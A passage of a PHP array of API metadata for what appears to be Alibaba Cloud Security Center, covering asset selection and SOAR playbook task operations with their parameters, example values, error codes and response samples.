'614d179e-4776-4939-a04a-d842ce64****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'DBABBC2E-26DF-5586-BF7C-4FC846EF****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"DBABBC2E-26DF-5586-BF7C-4FC846EF****\\"\\n}","type":"json"}]', 'title' => 'UpdateSelectionKeyByType', ], 'CreateAssetSelectionConfig' => [ 'summary' => 'Create asset selection configurations.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '168193', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'BusinessType', 'in' => 'query', 'allowEmptyValue' => false, 'schema' => [ 'description' => 'The feature that you want to select for the asset. Valid values:'."\n" ."\n" .'* **VIRUS_SCAN_CYCLE_CONFIG**: virus detection and removal'."\n" .'* **VIRUS_SCAN_ONCE_TASK**: one-time scan for viruses'."\n" .'* **AGENTLESS_MALICIOUS_WHITE_LIST_\\[ID]**: a whitelist rule for alerts that are detected by using the agentless detection feature'."\n" .'* **AGENTLESS_VUL_WHITE_LIST_\\[ID]**: a whitelist rule for vulnerabilities that are detected by using the agentless detection feature'."\n" .'* **FILE_PROTECT_RULE_SWITCH_TYPE_\\[ID]**: core file protection'."\n", 'type' => 'string', 'required' => true, 'example' => 'VIRUS_SCAN_CYCLE_CONFIG', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'allowEmptyValue' => false, 'schema' => [ 'description' => 'The dimension based on which you want to select the asset. Valid values:'."\n" ."\n" .'* **instance**: selects the asset by server.'."\n" .'* **group**: selects the asset by group.'."\n" .'* **vpc**: selects the asset by virtual private cloud (VPC).'."\n", 'type' => 'string', 'required' => true, 'example' => 'vpc', ], ], [ 'name' => 'Platform', 'in' => 'query', 'schema' => [ 'description' => 'The operating system of the asset. Valid values:'."\n" ."\n" .'* **all**: all operating systems'."\n" .'* **windows**: the Windows operating system'."\n" .'* **linux**: the Linux operating system'."\n" ."\n" .'> If you leave this parameter empty, the system automatically selects a value for the parameter based on the value of the **BusinessType** parameter.'."\n" ."\n" .'* If the BusinessType parameter is set to **VIRUS_SCAN_CYCLE_CONFIG**, the value of the Platform parameter is **all**.'."\n" ."\n" .'* If the BusinessType parameter is set to **VIRUS_SCAN_ONCE_TASK**, the value of the Platform parameter is **all**.'."\n" ."\n" .'* If the BusinessType parameter is set to **AGENTLESS_MALICIOUS_WHITE_LIST_\\[ID]**, the value of the Platform parameter is **all**.'."\n" ."\n" .'* If the BusinessType parameter is set to **AGENTLESS_VUL_WHITE_LIST_\\[ID]** the value of the Platform parameter is **all**.'."\n" ."\n" .'* If the BusinessType parameter is set to **FILE_PROTECT_RULE_SWITCH_TYPE_\\[ID]**, the value of the Platform parameter is **linux**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'linux', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C619F37', ], 'Data' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'TargetType' => [ 'description' => 'The dimension based on which the asset is selected. Valid values:'."\n" ."\n" .'* **instance**: The asset is selected by server.'."\n" .'* **group**: The asset is selected by group.'."\n" .'* **vpc**: The asset is selected by VPC.', 'type' => 'string', 'example' => 'group', ], 'SelectionKey' => [ 'description' => 'The ID of the current asset selection. It can be used to query and modify the asset that is selected.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '53e93435-d694-4c03-9ce7-da12bee1****', ], 'BusinessType' => [ 'description' => 'The business type that is selected for the asset. Valid values:'."\n" ."\n" .'* **VIRUS_SCAN_CYCLE_CONFIG**: virus detection configuration'."\n" .'* **VIRUS_SCAN_ONCE_TASK**: one-time scan for virus detection'."\n", 'type' => 'string', 'example' => 'VIRUS_SCAN_CYCLE_CONFIG', ], 'Platform' => [ 'description' => 'The operating system of the asset. Valid values:'."\n" ."\n" .'* **windows**: the Windows operating system'."\n" .'* **linux**: the Linux operating system'."\n", 'type' => 'string', 'example' => 'all', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C619F37\\",\\n \\"Data\\": {\\n \\"TargetType\\": \\"group\\",\\n \\"SelectionKey\\": 0,\\n \\"BusinessType\\": \\"VIRUS_SCAN_CYCLE_CONFIG\\",\\n \\"Platform\\": \\"linux\\"\\n }\\n}","type":"json"}]', 'title' => 'CreateAssetSelectionConfig', ], 'ListAssetSelectionSelectedTarget' => [ 'summary' => 'Queries the selected assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'SelectionKey', 'in' => 'query', 'schema' => [ 'description' => 'The unique ID of the asset.'."\n", 'type' => 'string', 'required' => true, 'example' => '2e6ab33d-4e00-4581-ac16-0dd1f9ad****', ], ], [ 'name' => 'TargetList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The details of queries.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => '1190****', ], 'required' => false, 'maxItems' => 1000, 'minItems' => 1, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1EB12F73-6828-59D2-9FBF-F3713FD55128', ], 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'TargetId' => [ 'description' => 'The ID of the asset.'."\n", 'type' => 'string', 'example' => '30****', ], 'TargetName' => [ 'description' => 'The name of the asset.'."\n", 'type' => 'string', 'example' => 'jen****', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1EB12F73-6828-59D2-9FBF-F3713FD55128\\",\\n \\"Data\\": [\\n {\\n \\"TargetId\\": \\"30****\\",\\n \\"TargetName\\": \\"jen****\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListAssetSelectionSelectedTarget', ], 'ListAssetSelectionTarget' => [ 'summary' => 'Queries the required asset.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasGC725T', ], ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Pages start from page 1. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], [ 'name' => 'SelectionKey', 'in' => 'query', 'schema' => [ 'description' => 'The globally unique identifier (GUID) of the asset.'."\n", 'type' => 'string', 'required' => true, 'example' => '8ccf9b01-2c64-4cba-8122-10115f29****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '50A75355-F58F-5D65-8377-98C88DED9C51', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '639', ], ], ], 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'TargetId' => [ 'description' => 'The ID of the asset.'."\n", 'type' => 'string', 'example' => '30****', ], 'TargetName' => [ 'description' => 'The name of the asset.'."\n", 'type' => 'string', 'example' => 'test****', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"50A75355-F58F-5D65-8377-98C88DED9C51\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 639\\n },\\n \\"Data\\": [\\n {\\n \\"TargetId\\": \\"30****\\",\\n \\"TargetName\\": \\"test****\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListAssetSelectionTarget', ], 'GetAssetSelectionConfig' => [ 'summary' => 'Queries asset selection configurations.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '167774', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'BusinessType', 'in' => 'query', 'schema' => [ 'description' => 'The feature that is selected for the asset. Valid values:'."\n" ."\n" .'* **VIRUS_SCAN_CYCLE_CONFIG**: virus detection and removal'."\n" .'* **VIRUS_SCAN_ONCE_TASK**: one-time scan for viruses'."\n" .'* **AGENTLESS_MALICIOUS_WHITE_LIST_\\[ID]**: a whitelist rule for alerts that are detected by using the agentless detection feature'."\n" .'* **AGENTLESS_VUL_WHITE_LIST_\\[ID]**: a whitelist rule for vulnerabilities that are detected by using the agentless detection feature'."\n" .'* **FILE_PROTECT_RULE_SWITCH_TYPE_\\[ID]**: core file protectioion'."\n", 'type' => 'string', 'required' => true, 'example' => 'VIRUS_SCAN_CYCLE_CONFIG', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'C5936B67-3EDF-53ED-A542-02543972449A', ], 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'TargetType' => [ 'description' => 'The dimension based on which the asset is selected. Valid values:'."\n" ."\n" .'* **instance**: The asset is selected by server.'."\n" .'* **group**: The asset is selected by group.'."\n" .'* **vpc**: The asset is selected by VPC.'."\n", 'type' => 'string', 'example' => 'instance', ], 'SelectionKey' => [ 'description' => 'The ID of the current asset selection. It can be used to query and modify the asset that is selected.'."\n", 'type' => 'string', 'example' => '657c8411-4e89-446c-ab66-d45d1331****', ], 'Platform' => [ 'description' => 'The operating system of the asset. Valid values:'."\n" ."\n" .'* **windows**'."\n" .'* **linux**'."\n", 'type' => 'string', 'example' => 'linux', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C5936B67-3EDF-53ED-A542-02543972449A\\",\\n \\"Data\\": {\\n \\"TargetType\\": \\"instance\\",\\n \\"SelectionKey\\": \\"657c8411-4e89-446c-ab66-d45d1331****\\",\\n \\"Platform\\": \\"linux\\"\\n }\\n}","type":"json"}]', 'title' => 'GetAssetSelectionConfig', ], 'AddAssetSelectionCriteria' => [ 'summary' => 'Select an operation for assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '168455', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SelectionKey', 'in' => 'query', 'schema' => [ 'description' => 'The unique ID of the asset.'."\n", 'type' => 'string', 'required' => true, 'example' => '5196d280-5bfa-496a-ba70-8a3935e3****', ], ], [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The search conditions that are used to query assets. The value of this parameter is in the JSON format and is case-sensitive.'."\n" ."\n" .'> A search condition can be an instance ID, instance name, virtual private cloud (VPC) ID, region, or public IP address. You can call the [DescribeCriteria](~~DescribeCriteria~~) operation to query the supported search conditions.'."\n", 'type' => 'string', 'required' => false, 'example' => '{"LogicalExp":"AND","Criteria":"[{\\"name\\":\\"osType\\",\\"value\\":\\"linux\\",\\"logicalExp\\":\\"AND\\"},{\\"name\\":\\"alarmStatus\\",\\"value\\":\\"YES\\",\\"logicalExp\\":\\"AND\\"}]"}', ], ], [ 'name' => 'CriteriaOperation', 'in' => 'query', 'schema' => [ 'description' => 'The type of the operation on search conditions. Valid values:'."\n" ."\n" .'* **add**: adds assets.'."\n" .'* **del**: deletes assets.'."\n", 'type' => 'string', 'required' => false, 'example' => 'add', ], ], [ 'name' => 'TargetOperationList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The list of assets.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Target' => [ 'description' => 'The ID of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => '1188****', ], 'Operation' => [ 'description' => 'The type of the operation. Valid values:'."\n" ."\n" .'* **add**'."\n" .'* **del**'."\n", 'type' => 'string', 'required' => false, 'example' => 'del', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 1000, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', 'title' => 'AddAssetSelectionCriteria', ], 'CreateSoarStrategyTask' => [ 'summary' => 'Creates a task on the My Policies tab of the Playbook page.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '91940', 'abilityTreeNodes' => [ 'FEATUREsasEX82TR', ], ], 'parameters' => [ [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the policy.'."\n" ."\n" .'> You can call the [DescribeSoarSubscribedStrategy](~~DescribeSoarSubscribedStrategy~~) operation to obtain the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '13840', ], ], [ 'name' => 'StrategyTaskName', 'in' => 'query', 'schema' => [ 'description' => 'The name of.the policy task.'."\n", 'type' => 'string', 'required' => true, 'example' => 'task1', ], ], [ 'name' => 'StrategyName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the policy. Set the value to Automated Batch Vulnerability Fixing Policy for Multiple Servers.'."\n", 'type' => 'string', 'required' => true, 'example' => 'Automated Batch Vulnerability Fixing Policy for Multiple Servers', ], ], [ 'name' => 'StrategyTaskParams', 'in' => 'query', 'schema' => [ 'description' => 'The parameters of the policy task. The value is a JSON array.'."\n" ."\n" .'Vulnerability-related parameters:'."\n" ."\n" .'* name: vluList'."\n" .'* associationProperty: sasAllVul'."\n" .'* value: basic vulnerability information'."\n" ."\n" .'Snapshot-related parameters:'."\n" ."\n" .'* name: snapshotConfig'."\n" .'* associationProperty: snapshotConfig'."\n" .'* value: retention period'."\n" ."\n" .'Notification-related parameters:'."\n" ."\n" .'* name: notifyConfig'."\n" .'* associationProperty: notifyConfig'."\n" .'* value: email or DingTalk configuration information'."\n", 'type' => 'string', 'required' => true, 'example' => '['."\n" .' {'."\n" .' "name": "vulList",'."\n" .' "associationProperty": "sasAllVul",'."\n" .' "value": ['."\n" .' {'."\n" .' "regionId": "cn-hangzhou",'."\n" .' "instanceId": "i-bp10i******68lo5e",'."\n" .' "instanceName": "instance****",'."\n" .' "vulId": 3974347681,'."\n" .' "vulName": "centos:7:cesa-2024:1249",'."\n" .' "vulAliasName": "CESA-2024:1249",'."\n" .' "vulTag": "oval",'."\n" .' "vulUuid": "3c5eb76a-******-85ef-67562cdc2344",'."\n" .' "vulType": "cve",'."\n" .' "vulModifyTs": 1721324258000'."\n" .' }'."\n" .' ]'."\n" .' },'."\n" .' {'."\n" .' "name": "snapshotConfig",'."\n" .' "associationProperty": "snapshotConfig",'."\n" .' "value": {'."\n" .' "ttl": 1'."\n" .' }'."\n" .' },'."\n" .' {'."\n" .' "name": "notifyConfig",'."\n" .' "associationProperty": "notifyConfig",'."\n" .' "value": {'."\n" .' "ding": ['."\n" .' {'."\n" .' "value": 2195,'."\n" .' "label": "test"'."\n" .' }'."\n" .' ]'."\n" .' }'."\n" .' }'."\n" .']'."\n", ], ], [ 'name' => 'StrategyTaskPlanExeTime', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the task is scheduled to start. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1586739841000', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'StrategyTaskId' => [ 'description' => 'The ID of the policy task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '10688', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '43313389-DED8-5BB7-8CB9-F22CDEB744DE', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"StrategyTaskId\\": 10688,\\n \\"RequestId\\": \\"43313389-DED8-5BB7-8CB9-F22CDEB744DE\\"\\n}","type":"json"}]', 'title' => 'CreateSoarStrategyTask', 'description' => 'Only the Enterprise and Ultimate editions of Security Center support this API operation.'."\n", ], 'DeleteSoarStrategyTask' => [ 'summary' => 'Deletes a policy task that is in the waiting state on the Playbook page.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '91973', 'abilityTreeNodes' => [ 'FEATUREsasEX82TR', ], ], 'parameters' => [ [ 'name' => 'StrategyTaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the policy task that is in the waiting state.'."\n" ."\n" .'> You can call the [DescribeSoarStrategyTasks](~~DescribeSoarStrategyTasks~~) operation to obtain the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '11082', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'C699E4E4-F2F4-58FC-A949-457FFE59****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C699E4E4-F2F4-58FC-A949-457FFE59****\\"\\n}","type":"json"}]', 'title' => 'DeleteSoarStrategyTask', 'description' => 'Only the Enterprise and Ultimate editions of Security Center support this API operation.'."\n", ], 'DescribeSoarStrategies' => [ 'summary' => 'Queries the policy templates on the Playbook page.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92198', 'abilityTreeNodes' => [ 'FEATUREsasEX82TR', ], ], 'parameters' => [ [ 'name' => 'PageNumber', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Pages start from page 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '4BB99533-4FDC-5B9C-A5E4-5AE3E9BE5C78', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'PageNumber' => [ 'description' => 'The page number. Pages start from page 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'SoarStrategies' => [ 'description' => 'The policies.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the policy.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the policy. Valid values:'."\n" ."\n" .'* type_vulfix: vulnerability operations'."\n", 'type' => 'string', 'example' => 'type_vulfix', ], 'Description' => [ 'description' => 'The description of the policy.'."\n", 'type' => 'string', 'example' => 'strategy_description_01', ], 'GmtCreate' => [ 'description' => 'The timestamp when the policy was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1703556715000', ], 'RunMode' => [ 'description' => 'The execution mode. Valid values:'."\n" ."\n" .'* runmode_TRIGGER_BY_USER: manually executed'."\n", 'type' => 'string', 'example' => 'runmode_TRIGGER_BY_USER', ], 'GmtModified' => [ 'description' => 'The timestamp when the policy was modified. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1698114242000', ], 'Name' => [ 'description' => 'The name of the policy.'."\n", 'type' => 'string', 'example' => 'strategy_name01', ], 'Id' => [ 'description' => 'The ID of the policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '16064025', ], 'Creator' => [ 'description' => 'The Alibaba Cloud account ID of the creator. Default value: 0. The value indicates a system user.'."\n", 'type' => 'string', 'example' => '0', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4BB99533-4FDC-5B9C-A5E4-5AE3E9BE5C78\\",\\n \\"PageSize\\": 20,\\n \\"PageNumber\\": 1,\\n \\"TotalCount\\": 100,\\n \\"SoarStrategies\\": [\\n {\\n \\"Type\\": \\"type_vulfix\\",\\n \\"Description\\": \\"strategy_description_01\\",\\n \\"GmtCreate\\": 1703556715000,\\n \\"RunMode\\": \\"runmode_TRIGGER_BY_USER\\",\\n \\"GmtModified\\": 1698114242000,\\n \\"Name\\": \\"strategy_name01\\",\\n \\"Id\\": 16064025,\\n \\"Creator\\": \\"0\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeSoarStrategies', 'description' => 'Only the Enterprise and Ultimate editions of Security Center support this API operation.'."\n", ], 'DescribeSoarStrategyParam' => [ 'summary' => 'Queries the parameters of a policy on the Playbook page.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92199', 'abilityTreeNodes' => [ 'FEATUREsasEX82TR', ], ], 'parameters' => [ [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the policy.'."\n" ."\n" .'> You can call the [DescribeSoarStrategies](~~DescribeSoarStrategies~~) operation to obtain the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '15553', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'ProcessInfo' => [ 'description' => 'The process information of the policy.'."\n", 'type' => 'string', 'example' => '{"edges":[{"level":0,"removeFlag":0,"source":1,"target":8}]}', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '6673D49C-A9AB-40DD-B4A2-B92306701AE7', ], 'Params' => [ 'description' => 'The parameters of the policy.'."\n", 'type' => 'string', 'example' => '{"summary":[{"name":"email","type":"String","isRequired":false,"fromProperty":"notifyConfig.email"}]}', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => 'Invalid parameter value.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ProcessInfo\\": \\"{\\\\\\"edges\\\\\\":[{\\\\\\"level\\\\\\":0,\\\\\\"removeFlag\\\\\\":0,\\\\\\"source\\\\\\":1,\\\\\\"target\\\\\\":8}]}\\",\\n \\"RequestId\\": \\"6673D49C-A9AB-40DD-B4A2-B92306701AE7\\",\\n \\"Params\\": \\"{\\\\\\"summary\\\\\\":[{\\\\\\"name\\\\\\":\\\\\\"email\\\\\\",\\\\\\"type\\\\\\":\\\\\\"String\\\\\\",\\\\\\"isRequired\\\\\\":false,\\\\\\"fromProperty\\\\\\":\\\\\\"notifyConfig.email\\\\\\"}]}\\"\\n}","type":"json"}]', 'title' => 'DescribeSoarStrategyParam', 'description' => 'Only the Enterprise and Ultimate editions of Security Center support this API operation.'."\n", ], 'DescribeSoarStrategyTaskDetail' => [ 'summary' => 'Queries the details of a policy task on the Playbook page, including the execution status of the task and the process information of the task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92200', 'abilityTreeNodes' => [ 'FEATUREsasEX82TR', ], ], 'parameters' => [ [ 'name' => 'StrategyTaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the policy task.'."\n" ."\n" .'> You can call the [DescribeSoarStrategyTasks](~~DescribeSoarStrategyTasks~~) operation to obtain the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '10585', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'FBBEB173-1F43-505F-A876-C03ECDF6CE4C', ], 'TaskDetail' => [ 'description' => 'The details of the task.'."\n", 'type' => 'object', 'properties' => [ 'LogInfo' => [ 'description' => 'The operational log information of the task.'."\n", 'type' => 'string', 'example' => '{'."\n" .'"resultContent": "{\\"failedNum\\":0,\\"totalNum\\":1,\\"successNum\\":1}",'."\n" .'"resultStatus": 0,'."\n" .'"status": 2'."\n" .'}', ], 'ProcessInfo' => [ 'description' => 'The process information of the task.'."\n", 'type' => 'string', 'example' => '{'."\n" .' "edges": ['."\n" .' {'."\n" .' "level": 0,'."\n" 